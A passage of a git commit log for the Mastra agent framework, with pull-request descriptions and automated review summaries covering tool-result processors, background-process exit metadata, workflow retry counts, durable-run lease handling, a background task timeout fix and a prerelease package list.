`messageList.updateToolInvocation`). Setting it to `null` drops the
mapping.
- A processor that changes only the raw `result` gets it re-mapped
through `toModelOutput`, so the model reads the mapping of the processed
result.
- Works on both regular and durable agents. In durable agents, a
`processToolResult` that throws now also withholds the unprocessed
mapped output from the model, not only the raw result.

## Tests

`tool-result-model-output-processors.test.ts` (9 tests, regular and
durable engines): replacing mapped images by tiling or with a note,
re-mapping after a raw-result rewrite, leaving output alone when a
processor doesn't touch it, and durable fail-closed behavior. All 9 fail
on main and pass here. Related processor, agentic-execution and
model-output suites pass; the durable suite's 8 lease/claim timing
failures also occur on main.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Some tools give the AI model a special version of their
output, such as an image. Before this change, a processor could change
only the raw tool result. It could not see or change that special
version. Now a processor can read it, replace it, or clear it. The model
then gets the updated version.

## Overview

This change lets `processToolResult` processors read and rewrite a
tool's mapped `modelOutput`. The mapped output comes from the tool's
`toModelOutput` mapping. The change applies to regular agents and
durable agents.

## Behavior

- A processor receives the current mapped output as
`ProcessToolResultArgs.modelOutput`.
- To replace the mapped output, a processor commits a `result`-state
tool-invocation part. The part sets the new value in
`providerMetadata.mastra.modelOutput`.
- A processor sets `providerMetadata.mastra.modelOutput` to `null` to
remove the mapping.
- A processor changes only the raw `result`. The system runs
`toModelOutput` again on the processed result. The new mapped output
replaces the old one.
- A processor makes no changes. The existing mapped output stays.
- A durable agent processor throws. The unprocessed mapped output is not
sent to the model. The fallback result is an error placeholder.
- Each processor receives the mapped output committed by the preceding
processor. If that processor cleared the mapping, the next processor
receives no mapped output.

## Changes by area

- **Core commit logic** (`loop/shared/steps/tool-result-commit-core.ts`,
+130): Adds `readModelOutput` to read `mastra.modelOutput` from provider
metadata. Adds `resolveModelOutputAfterToolResultProcessors` to
reconcile processor output with the committed result. It remaps when the
raw result changed. It detects in-place edits by comparing a content
snapshot taken before processing. It also adds a reverse-search helper
that finds the matching assistant tool-invocation part in `result`
state.
- **Agentic execution**
(`loop/workflows/agentic-execution/llm-mapping-step.ts`, +95/−42):
Passes `modelOutput` from the chunk's provider metadata into tool-result
processing. Both successful-result paths use a shared helper. After
processors run, the helper re-resolves the mapped output. It updates the
chunk metadata only when the value changed. Tool lookup moves into
`resolveMappingTool`. That function checks dynamically scoped step tools
before static tools.
- **Durable tool-call step**
(`agent/durable/workflows/steps/tool-call.ts`, +47/−1): Passes the
current mapped output to processors. On processor failure, it replaces
the result with an error placeholder and removes the mapped output
derived from the unprocessed result. On success, it resolves the mapped
output again from the processed result. Mapping failures use the
existing mapping-failure path.
- **Processor types and schema** (`processors/index.ts`,
`processors/step-schema.ts`): Adds optional `modelOutput?: unknown` to
`ProcessToolResultArgs`, `ProcessorToolResultPhaseType`, and
`ProcessorStepOutputType`.
- **Processor runner and workflows** (`processors/runner.ts`,
`workflows/workflow.ts`, `workflows/evented/workflow.ts`):
`runProcessToolResult` accepts an optional `modelOutput`. Before each
output processor runs, the runner reads the latest processed mapped
output for the tool call. It uses the supplied value as the fallback.
Workflow processors receive the value as `modelOutput`. Legacy
processors receive it with the existing arguments. Both workflow
implementations pass the value through chained processor steps.
- **Tests**
(`agent/__tests__/tool-result-model-output-processors.test.ts`, +335):
Adds tests for these cases:
  - processors receive mapped output
- a replacement reaches the next prompt, stored history, and streamed
tool result
  - a raw-result change triggers remapping
  - unchanged output is preserved
  - processor ordering and clearing behave as specified
  - a durable agent excludes the original image after a processor throws
- **Changeset** (`.changeset/tool-result-model-output-processors.md`,
+19): Documents the new behavior.

## Public API

- Added: `modelOutput?: unknown` on `ProcessToolResultArgs`,
`ProcessorToolResultPhaseType`, and `ProcessorStepOutputType`.
- Changed: `ProcessorRunner.runProcessToolResult` accepts an optional
`modelOutput`.
- Added in `tool-result-commit-core.ts`: `readModelOutput`,
`hasToolResultProcessor`, `snapshotToolResult`,
`latestProcessedModelOutput`, and
`resolveModelOutputAfterToolResultProcessors`.

## Notes

- The changeset says the unprocessed mapped output is "retained
alongside the raw result" when a durable processor throws. The code and
the PR objectives say the output is withheld. This summary follows the
code. The changeset wording needs review.
- The PR author reports that all 9 tests in
`tool-result-model-output-processors.test.ts` fail on `main` and pass on
the branch. The author also reports 8 lease/claim timing failures in the
durable suite that also occur on `main`. These results come from the
author. They were not checked against completed CI on the current head.

## Diff size

10 files changed, +663 / −43 lines.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-14 07:33:14 -08:00
Arthur Fiorette
951a18b085
feat(core): background process exit metadata (#30161)
Ignore the rest of the stack, just this one is open for review for now
because it will help me on workflow-chaos

---

## Description

`execute_command` runs a background process and returns its PID right
away, and `backgroundProcesses` callbacks let a host watch it. Until now
those callbacks only got the `pid` and `toolCallId`, so a host had no
way to tell which conversation started the process or why it stopped.

The callbacks now also get `agentId`, `threadId`, `resourceId` and
`runId` when they're available, and `onExit` gets `killedByAbort`, which
is `true` when the abort signal fired (the run's signal by default) and
killed the process. A host can send an exit notice to the right thread
and skip processes the abort killed:

```ts
const workspace = new Workspace({
  sandbox,
  tools: {
    [WORKSPACE_TOOLS.SANDBOX.EXECUTE_COMMAND]: {
      backgroundProcesses: {
        onExit: ({ pid, exitCode, threadId, killedByAbort }) => {
          if (!killedByAbort) notifyThread(threadId, `Process ${pid} exited with code ${exitCode}`);
        },
      },
    },
  },
})
```

`truncateOutput` and `DEFAULT_TAIL_LINES` are now exported from
`@mastra/core/workspace` so a host can trim the output in that notice
the same way `execute_command` does.

Tests run real `LocalSandbox` processes and cover an abort kill, a
normal exit, `kill_process`, an agent with no id, and a direct
`execute()` call that passes the ids at the top level.

## Related issue(s)

First PR of a stack for background shells. There's no tracking issue.
Next in the stack is #30176.

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Background commands can now tell their callbacks which agent,
chat thread, user resource, and run started them. The exit callback also
says whether the run's abort signal stopped the command. Other code can
now reuse the output-trimming helper.

## Summary

This change adds origin metadata to `backgroundProcesses` callbacks for
background `execute_command` processes. It adds an exit flag that shows
abort-signal termination. It also exports two workspace helpers for host
code.

## Changes by file

- `packages/core/src/workspace/tools/types.ts`: Adds optional `agentId`,
`threadId`, `resourceId`, and `runId` to `BackgroundProcessMeta`. Adds
optional `killedByAbort` to `BackgroundProcessExitMeta`.
- `packages/core/src/workspace/tools/execute-command.ts`: Passes
`agentId`, `threadId`, `resourceId`, and `runId` to stdout, stderr, and
exit callbacks. Empty or missing IDs become `undefined`. Thread and
resource IDs fall back from `context.agent` to the top-level context.
- `packages/core/src/workspace/index.ts`: Exports `truncateOutput` and
`DEFAULT_TAIL_LINES` from `./tools`.
- `packages/core/src/workspace/tools/__tests__/sandbox-tools.test.ts`:
Adds tests for callback metadata, including a context with no agent ID.
Adds tests that expect `killedByAbort: true` when the spawning run's
abort kills the process. Adds tests that expect `false` for normal exits
and for `kill_process`. The tests use a Node-based long-running command
for cross-platform runs.
- `.changeset/six-mugs-lead.md`: Declares a minor `@mastra/core` release
that describes the new metadata and exports.
- `docs/src/content/en/docs/sandbox/overview.mdx`: Documents that
lifecycle callbacks receive `pid` and, when available, `toolCallId`,
`agentId`, `threadId`, `resourceId`, and `runId`. Documents
`killedByAbort` on `onExit`.
- `docs/src/content/en/reference/workspace/workspace-class.mdx`:
Documents stdout and stderr metadata. Documents exit metadata, including
`killedByAbort`.

## Public API changes

- `BackgroundProcessMeta` gains optional `agentId`, `threadId`,
`resourceId`, and `runId`.
- `BackgroundProcessExitMeta` gains optional `killedByAbort`.
- `@mastra/core/workspace` exports `truncateOutput` and
`DEFAULT_TAIL_LINES`.

## Review and verification status

- Review comments: The author requested CodeRabbit reviews three times.
The bot responses report completed reviews and contain no review
findings. Review severity counts: not available.
- CI and test results on the current head: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-14 11:54:49 -03:00
Arthur Fiorette
7277766d6c
fix(core): reset retryCount on each evented loop iteration (#30383)
## Description

On the evented engine, each iteration of a `dountil`/`dowhile` loop
whose body is a step now starts with `retryCount` 0 and gets the step's
full `retries`, as on the default engine.

### Why

The evented engine carried `retryCount` from one iteration into the
next, so iteration N started at N-1 plus every retry earlier iterations
had used. A body with `retries` ran out of budget on a later iteration:
with `retries: 1`, a single failure in iteration 3 failed the run
instead of being retried. Step code reading `retryCount` also saw that
inflated number. The default engine has counted retries per iteration
since #23593.

```ts
const body = createStep({ id: 'body', retries: 1, execute: async ({ retryCount }) => { /* ... */ } });
workflow.dountil(body, async ({ iterationCount }) => iterationCount >= 4).commit();

// retryCount seen by the body when iteration 3 fails once
// before: 0, 1, 2 and the run fails
// after:  0, 0, 0, 1, 0 and the run succeeds
```

### Behavior change

- Step code that reads `retryCount` inside an evented loop body now gets
the attempt within the current iteration. The iteration number is
available to the loop condition as `iterationCount`.
- The loop condition's `retryCount` is now the body's attempt in the
current iteration on every path. One path used to pass attempt + 1. The
default engine passes -1 to the condition; that difference is left as
is.

### Not affected

`foreach` loops, and loops whose body is a nested workflow (those
already started each iteration at 0).

### Tests

New case in the shared workflow suite
(`workflows/_test-utils/src/domains/run-count.ts`): a `dountil` body
with `retries: 1` that throws once in iteration 3. It runs on the
default and evented engines and is skipped on Inngest with the other
`retryCount` cases. Without the fix it fails on the evented engine with
`expected [ 0, 1, 2 ] to deeply equal [ 0, 0, 0, 1, 0 ]`.

## Related issue(s)

Linear PLTFRM-3202. No GitHub issue.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When a loop step fails and retries, the retry count from earlier
loop passes was carried into later passes. This could use up the retry
limit early. This change resets the count so each loop pass gets its
full retry limit.

## Summary

This pull request changes how the evented workflow engine tracks
`retryCount` for `dountil` and `dowhile` loops whose body is a step.

## Changes

-
`packages/core/src/workflows/evented/workflow-event-processor/loop.ts`:
When a loop iteration runs again, `processWorkflowLoop` passes
`retryCount: 0` instead of the current retry count. Each iteration
starts with the body's full retry budget.
-
`packages/core/src/workflows/evented/workflow-event-processor/index.ts`:
In `runLeafStep`, the loop-condition path passes `retryCount` to
`#processLoop` without adding 1.
- `.changeset/bright-terms-crash.md`: Adds a patch changeset for
`@mastra/core`. It documents that `dountil` and `dowhile` body retries
start at 0 on each iteration. It also states that `retryCount` is scoped
to the current iteration.
- `workflows/_test-utils/src/domains/run-count.ts`: Adds
`createRunCountWorkflows` and `createRunCountTests`. The new workflow is
a loop whose body allows one retry and throws once on the third
iteration. The test asserts that the run succeeds with recorded retry
counts `[0, 0, 0, 1, 0]` and final output `4`.

Diff size: 4 files, 63 lines added, 2 lines removed.

## Not changed

- The default engine's behavior is unchanged.
- `foreach` loops and loops with nested workflow bodies are not affected
by the diff shown.

## Verification

- The shared test case runs on the default and evented engines. It is
skipped on Inngest with the other `retryCount` cases.
- The author reports that, without the fix, the evented case fails with
`expected [ 0, 1, 2 ] to deeply equal [ 0, 0, 0, 1, 0 ]`. The author
reports this result. This review did not run the tests.
- CI results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-14 01:01:42 -03:00
Arthur Fiorette
f4458eea7f
fix(core): stop failing durable runs on a slow local ownership read (#30386)
### Description

A durable agent step whose process holds the run's claim no longer puts
a lease TTL deadline on its ownership checks. Such a step now stops only
when the claim itself is lost: a renewal fails or comes back superseded,
an ownership check fails, or another execution takes over the run. Steps
that only observe another process's claim (evented workers following a
claim held elsewhere) keep the deadline.

The change is in `ExecutionOwnershipGuard`
(`packages/core/src/agent/durable/execution-ownership-guard.ts`): the
deadline is armed only for remote guards, and the per-check re-arm for
local guards is gone. The "Stop work after ownership loss" passage in
`docs/src/content/en/docs/harness/durable-agents.mdx` is updated to
match.

### Why

Each fenced durable loop step checks ownership before and after it runs.
For a local guard, that check armed a timer of one lease TTL (15 s by
default, `MASTRA_AGENT_THREAD_LEASE_TTL_MS`) and then read the claim
with `getRunOwnership`. When that read took longer than the TTL, the
timer fired and the step threw `DURABLE_AGENT_EXECUTION_UNVERIFIED`, a
non-retryable error. The fence was never lost and the heartbeat kept
renewing the claim. Settlement then read ownership again, found this
execution still the owner, and settled the run as `owned`. It published
`DURABLE_AGENT_EXECUTION_UNVERIFIED` to the caller, deleted the run's
snapshots and released the claim. No other execution ever owned the run.

A local claim already has its own bound. The heartbeat renews it every 5
s by default (a third of the TTL) and marks the fence lost when renewals
fail past the lease deadline or come back superseded. The guard hears
about that loss through its `subscribe` listener. A check that throws
already marks the fence lost. So the local deadline only ever acted on a
read that was slow but would have answered "still yours".

### Known limits

- A cancelled run ends a pending check: `withExecutionFence` always
starts the ownership read but stops waiting for it when the run's abort
signal fires (or has already fired), and the step handles the abort as
it does elsewhere. A takeover that read finds still marks the fence
lost. Without a cancellation, a check read that never returns while
renewals keep succeeding still leaves the step waiting at that check,
holding a live claim. Before this change the step ended at one TTL with
`DURABLE_AGENT_EXECUTION_UNVERIFIED`, which failed the run and deleted
its snapshots.
- After a real takeover, the old execution is now stopped by its
heartbeat. The heartbeat checks on ticks, so on storage-backed claims
that is at most 2 x TTL plus one renewal interval after the last
confirmed renewal (about 35 s with defaults). On lease-backed claims it
is within one TTL plus one interval (about 20 s). Before, a step stopped
one TTL after its check started. Storage writes stay fenced by
generation; side effects outside Mastra don't.
- Claims on `NoopLeaseProvider` have no heartbeat and were never fenced.
Unchanged.
- `participateInDurableExecution` awaits `fence.verify()` before every
evented participant step
(`packages/core/src/agent/durable/evented-execution.ts:128`) with no
deadline and no abort race, so cancellation doesn't end a hanging read
there. Unchanged by this PR.
- On an evented worker's first fenced step of a run there is no registry
entry yet, so a remote cancel doesn't end a pre-check ownership read
that never returns. Losing the claim still does, and that worker's
earlier `fence.verify()` (`evented-execution.ts:128`) waits on the same
store with no deadline either.
- Remote guards are unchanged: they still stop after one TTL without a
successful check, even while verification is queued. That item stays
open in #28934.
- `settleEventedDurableExecution`
(`packages/core/src/agent/durable/evented-execution.ts:196`) still
returns early for fence errors, without emitting an error event,
deleting snapshots or releasing the claim. A local guard can now only
fail with `DURABLE_AGENT_EXECUTION_UNVERIFIED` when its fence is lost,
and for the coordinator's fence `watchExecutionLoss` then rejects the
waiting caller. Remote guards and participant fences in another process
can still reach that early return with a loss that `watchExecutionLoss`
doesn't report.

### Tests

-
`packages/core/src/agent/durable/__tests__/execution-ownership-guard.test.ts`,
"leaves a slow local read to the fence instead of a deadline": a local
guard whose read never returns is still not lost after 2 x TTL, and its
check is still pending. Firing the fence's loss listener then rejects
the check with that loss. Without the fix, the guard is already lost at
2 x TTL.
- `packages/core/src/agent/durable/execution-fence.test.ts`, "finishes a
step whose ownership read outlasts the lease TTL while the claim keeps
renewing": a storage-backed `ExecutionFence` on `InMemoryStore` with
real renewals under fake timers, and a `withExecutionFence` step whose
first `getRunOwnership` resolves after TTL + 1 s. The step returns its
output, the fence is not lost, the owner record keeps the same owner and
generation, and the run settles as `owned`. Without the fix, the step
rejects with `DURABLE_AGENT_EXECUTION_UNVERIFIED`.
- `packages/core/src/agent/durable/execution-fence.test.ts`, "ends a
cancelled step whose ownership read before/after its work never
returns": on the same storage-backed setup, the run's registry abort
signal fires while the pre-check or post-check read hangs, and the step
returns its abort output (pre-check) or its finished output (post-check)
with the fence not lost and the owner record unchanged. Without the
cancellation handling, the step call stays pending after the abort.
- `packages/core/src/agent/durable/execution-fence.test.ts`, "a step of
an already-cancelled run": the step returns its abort output without
waiting, the ownership read was still started, and a takeover that read
finds marks the fence lost before any heartbeat. "ends a cancelled
post-check on a worker whose step created the run registry entry": there
is no registry entry at the pre-check, the step creates it with
`ensureRemoteAbortListener` as the durable steps do, the post-check read
never returns, and a published abort request ends the step with its
output.

The whole `packages/core/src/agent/durable` suite passes.

### Related issue(s)

Related to #28934

### Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

### Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: A durable agent run checks that it still owns its work. A slow
check used to make the run fail. Now a local run keeps going while its
claim stays valid, and it stops when the claim is lost, a check fails,
or another execution takes over.

## Overview

This change updates `ExecutionOwnershipGuard` in
`packages/core/src/agent/durable/execution-ownership-guard.ts`. Local
guards no longer apply a lease-TTL deadline to ownership checks. Remote
guards, which observe a claim held by another process, keep the
deadline. The change also adds a cancellation race in
`execution-fence.ts`, updates the durable agents documentation, and adds
a patch changeset.

## Changes

- **`execution-ownership-guard.ts`** (+2/-3): The guard arms a lease
deadline at construction only for remote observers. Local claims rely on
subscription notifications to report ownership loss. Local periodic
checks no longer arm a deadline before they run. They also no longer
clear a deadline after a successful observation.
- **`execution-fence.ts`** (+26/-2): Adds `checkUnlessAborted`. This
helper races an ownership check against an abort signal and removes its
abort listener afterward. It still throws if the guard recorded
ownership loss. `withExecutionFence` gets the signal from the run
registry, with `params.abortSignal` as fallback. It uses the helper
before and after each step.
- **`.changeset/thick-baboons-drum.md`** (+5): Adds a patch release note
for `@mastra/core`. Durable agent runs no longer fail with
`DURABLE_AGENT_EXECUTION_UNVERIFIED` and lose saved snapshots when an
ownership check exceeds the default 15-second lease TTL in the process
that holds the run.
- **`docs/src/content/en/docs/harness/durable-agents.mdx`** (+1/-1): The
"Stop work after ownership loss" section separates two cases:
- Steps in the process that holds the claim stop when an ownership check
fails or a renewal misses the lease expiry.
- Steps that only observe another process's claim stop when no check
succeeds within one lease TTL (15 seconds by default).
- **`execution-ownership-guard.test.ts`** (+25): Adds a test. A
`check()` that waits on a never-settling local ownership read stays
pending after 2× the lease TTL and does not mark ownership lost. When
the subscription reports supersession, the pending check completes with
the superseded error.
- **`execution-fence.test.ts`** (+188/-1): Adds storage-backed
`withExecutionFence` tests. They cover these cases:
- A step whose ownership read exceeds the lease TTL, while the claim
keeps renewing, returns its output. The run settles as owned.
- A step blocked before or after its work ends when the run is
cancelled. The fence stays intact.
- A step of an already-cancelled run returns without waiting for a
pending read.
- A cancelled post-check ends on a worker whose step created the run
registry entry.

## Known limits

- A local check that never returns stays pending while renewals succeed.
Cancellation ends the pending check through the abort race. Without
cancellation, the run waits for fence loss.
- Takeover detection depends on heartbeat timing.
- Remote guards keep their TTL deadline.
- Evented participant checks have no deadline or abort race.
- Storage writes stay fenced by generation. External side effects are
not fenced.

## Verification

The author reports that the `packages/core/src/agent/durable` test suite
passes. This summary does not independently confirm that result. Check
status on the current head is not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-14 00:59:18 -03:00
Arthur Fiorette
a3b4ef9ecd
fix(core): claim the run lease before a startAsync run's first snapshot (#30384)
## Description

A default-engine run started with `startAsync()` now takes its run lease
before it saves its first `waiting` snapshot, and runs of workflows that
save `waiting` but not `running` now take a lease too. Before this,
workflow recovery on another instance could restart such a run while it
was still executing, and its steps ran twice.

### Changes

- `Run._start()` claims the lease before the `startAsync()` path writes
the initial `waiting` snapshot, releases it if anything fails before the
run is handed to the execution, and hands it to the execution, which
releases it when the run settles. Plain `start()` already claimed first.
- `#claimOwnership()` claims when the workflow saves `running` or
`waiting`. Before, it only claimed when the workflow saved `running`.
Internal workflows such as background tasks are excluded: recovery never
lists them, so a lease would cost writes and protect nothing.

### Cause

`startAsync()` saved a `waiting` snapshot and claimed the lease
afterwards. A recovery pass on another instance that ran between the two
listed the run, found no lease, and restarted it once the grace period
had passed. The original execution then took its lease by force and kept
going, so both executions ran the steps.

A workflow whose `shouldPersistSnapshot` saves `waiting` but not
`running` never took a lease at all. Every `startAsync()` run of it that
lasted longer than the grace period was restarted while it ran, and so
was every `start()` run that reached a sleep step, since the sleep saves
`waiting`.

Both cases are older than the recovery loop from #30281. They show up
now because that loop runs this rule on every tick instead of once at
boot.

### Behavior changes and cost

- `startAsync()` resolves after the lease is taken, and rejects if
taking it fails.
- Workflows that save `waiting` but not `running` pay for a lease on
each run: one claim, one renewal every TTL/3 while the run executes, and
one release.
- `restart()` of such a run is now refused while another process holds
its lease, as it already is for workflows that save `running`.

### Not affected

Evented runs (they have their own `start()` and `startAsync()`, and hold
no run lease), agent `stream()`, the agentic, network and durable agent
loops, and internal workflows such as background tasks.

### Known limits

- Resume and time travel still mark the run `running` first and claim
the lease afterwards. Recovery on another instance can restart a run in
that window.
- The grace period compares the writing process's clock with the clock
of the instance running recovery. A clock gap larger than the grace (2 s
by default) can still restart a run that was just written.
- If taking the lease throws, `startAsync()` rejects and the workflow
span stays open, as `start()` already behaves.

### Tests

Three cases in
`packages/core/src/mastra/restart-active-runs-rule.test.ts`, each with
two `Mastra` instances on one `InMemoryStore`. Instance B runs a
recovery pass with a grace of 0 while instance A executes the run, and
the step must run once. Without the fix each case runs it twice
(`expected [ 'run-1', 'run-1' ] to deeply equal [ 'run-1' ]`).

- `startAsync()` on A while the store holds A's first lease claim back.
B's pass runs while the claim is pending.
- `startAsync()` of a workflow that saves `waiting` but not `running`.
B's pass runs while A's step executes.
- `start()` of the same kind of workflow with a sleep step before the
step. B's pass runs once the sleep saved `waiting`.

A fourth case covers the lease on failure: when `shouldPersistSnapshot`
throws for `waiting`, `startAsync()` rejects with that error and the
run's ownership record is no longer live (without the release it stays
live, because it keeps renewing).

## Related issue(s)

Related to #28060

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** A workflow run can start on one server. Another server might
restart that run by mistake, because it does not see that the first
server is already running it. This change makes the first server claim a
lease on the run before it saves the first snapshot.

## Summary

This change fixes a race in workflow recovery for default-engine
`startAsync()` runs. Recovery can find a `waiting` run that has no lease
and restart it while its original execution still runs. The change
claims the run lease before the initial `waiting` snapshot is written.

## Changes

- **`packages/core/src/workflows/workflow.ts`** (+84/−67):
- `Run._start` claims recovery ownership before it writes the initial
`waiting` snapshot.
- `_start` passes the held claim to `#executeOwned`. Execution releases
the lease when the run settles.
- If snapshot creation or dispatch setup fails, `_start` releases a
releasable claim.
  - If the snapshot write fails, the workflow span ends with the error.
- `#claimOwnership` claims recoverable runs when the persistence
predicate accepts `running`. It also claims them when the predicate
accepts `waiting` for a non-internal workflow.
- `#executeOwned` accepts either an ownership lease or an owner record
as its held value.
- **`packages/core/src/mastra/restart-active-runs-rule.test.ts`**
(+97/−3):
- `startBlockingReplica` accepts snapshot-persistence options and an
optional sleep before the first step.
  - New tests cover:
- Recovery during a pending run-ownership claim. Recovery must not start
a duplicate run.
- Live `startAsync` runs and sleeping runs whose workflows persist
`waiting` but not `running`. Recovery must not restart them.
- A `startAsync` failure while the predicate decides whether to persist
`waiting`. The failed start must release its lease and must not run the
workflow.
- **`.changeset/thin-moose-know.md`** (+5/−0): Adds a patch changeset
for `@mastra/core`. It documents the recovery and lease behavior.

Diff size: 3 files, +186 lines, −70 lines.

## Behavior

- `startAsync()` resolves after the lease is claimed. It rejects if the
claim fails.
- A run that holds a lease renews it every TTL/3 while it executes. It
releases the lease when it settles.
- `restart()` is refused while another process holds the run lease.
- Affected workflows add one lease claim, periodic renewals, and one
release.
- Internal workflows do not claim a lease only because they persist
`waiting` snapshots.

## Not changed

- Evented runs, agent `stream()`, agentic, network, and durable agent
loops are not affected.
- Resume and time-travel lease timing remains a stated limit.
- Clock skew larger than the grace period can still let recovery restart
a recently written run.
- If a lease claim fails, the workflow span stays open. This matches
`start()`.

## Verification

- The PR description reports that each added recovery case runs its step
twice without the fix. This is the author's report. It is not confirmed
here.
- CI and test results for the current head are not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-14 00:59:00 -03:00
dane-ai-mastra[bot]
1c52fdd034
chore: version packages (alpha) (#30261)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases

> The changelog information of each package has been omitted from this
message, as the content exceeds the size limit.

## @mastra/factory@0.29.0-alpha.1


## @mastra/core@1.84.0-alpha.1


## @mastra/playground-ui@69.1.0-alpha.1


## @mastra/client-js@1.60.1-alpha.1


## @mastra/react@1.15.1-alpha.1


## @mastra/deployer-cloud@1.84.0-alpha.1


## @mastra/longmemeval@1.1.43-alpha.1


## @mastra/opencode@0.1.43-alpha.1


## create-factory@0.4.4-alpha.1


## @mastra/code-sdk@1.19.1-alpha.1


## mastracode@0.50.1-alpha.1


## @mastra/arize@1.3.31-alpha.0


## @mastra/arthur@0.4.31-alpha.0


## @mastra/braintrust@1.3.28-alpha.0


## @mastra/datadog@1.4.23-alpha.0


## @mastra/deepeval@0.1.25-alpha.0


## @mastra/laminar@1.3.33-alpha.0


## @mastra/langfuse@1.6.7-alpha.0


## @mastra/langsmith@1.4.4-alpha.0


## @mastra/observability@1.24.1-alpha.0


## @mastra/otel-bridge@1.5.23-alpha.0


## @mastra/otel-exporter@1.5.3-alpha.0


## @mastra/posthog@1.4.8-alpha.0


## @mastra/sentry@1.2.33-alpha.0


## @mastra/agent-builder@1.2.2-alpha.0


## mastra@1.39.1-alpha.1


## @mastra/connect@1.4.1-alpha.0


## @mastra/deployer@1.84.0-alpha.1


## @mastra/editor@0.17.2-alpha.0


## @mastra/mcp-docs-server@1.3.14-alpha.1


## @mastra/memory@1.41.2-alpha.0


## @mastra/server@1.84.0-alpha.1


## @mastra/google-cloud-pubsub@1.1.8-alpha.0


## @mastra/redis-streams@0.8.2-alpha.0


## @mastra/valkey-streams@0.6.3-alpha.0


## @mastra/elysia@0.1.24-alpha.1


## @mastra/express@1.5.28-alpha.1


## @mastra/fastify@1.5.28-alpha.1


## @mastra/hono@1.7.26-alpha.1


## @mastra/koa@1.7.28-alpha.1


## @mastra/nestjs@0.3.1-alpha.1


## @mastra/next@0.2.42-alpha.1


## @mastra/tanstack-start@0.2.42-alpha.1


## @mastra/clickhouse@1.30.1-alpha.0


## @mastra/cloudflare@1.8.1-alpha.0


## @mastra/cloudflare-d1@1.5.1-alpha.0


## @mastra/convex@1.9.1-alpha.0


## @mastra/dsql@1.5.8-alpha.0


## @mastra/dynamodb@1.5.2-alpha.0


## @mastra/libsql@1.30.1-alpha.0


## @mastra/mongodb@1.27.1-alpha.0


## @mastra/mssql@1.11.2-alpha.0


## @mastra/mysql@0.17.1-alpha.0


## @mastra/oracledb@0.5.7-alpha.0


## @mastra/pg@1.36.1-alpha.0


## @mastra/redis@1.4.14-alpha.0


## @mastra/spanner@1.12.1-alpha.0


## @mastra/turso@0.1.22-alpha.0


## @mastra/upstash@1.6.2-alpha.0


## @mastra/valkey@0.2.10-alpha.0


## @mastra/temporal@0.6.1-alpha.1


## @mastra/daytona@0.11.6-alpha.0


## create-mastra@1.39.1-alpha.1


## @internal/playground@1.39.1-alpha.1

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-13 19:58:20 -08:00
Arthur Fiorette
8acea4cc5b
fix(core): background task timeout 0 means none (#30381)
## Description

Setting a background task timeout to `0` killed the task right away: the
worker armed `setTimeout(abort, 0)`, so the task ended as `timed_out`
before it did any work.

Now `0` means no timeout. The task runs until it finishes or is
cancelled. This works on the tool config, the agent's per-tool config,
the enqueue payload, and the manager's `defaultTimeoutMs`. Other values
behave as before.

```ts
const longJob = createTool({
  id: 'long-job',
  // ...
  background: {
    enabled: true,
    // before: the task timed out immediately
    // after: the task has no timeout
    timeoutMs: 0,
  },
})
```

Also documents `0` on the related types and on the background tasks and
configuration docs pages.

## Related issue(s)

None. Standalone fix, independent of any other PR.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
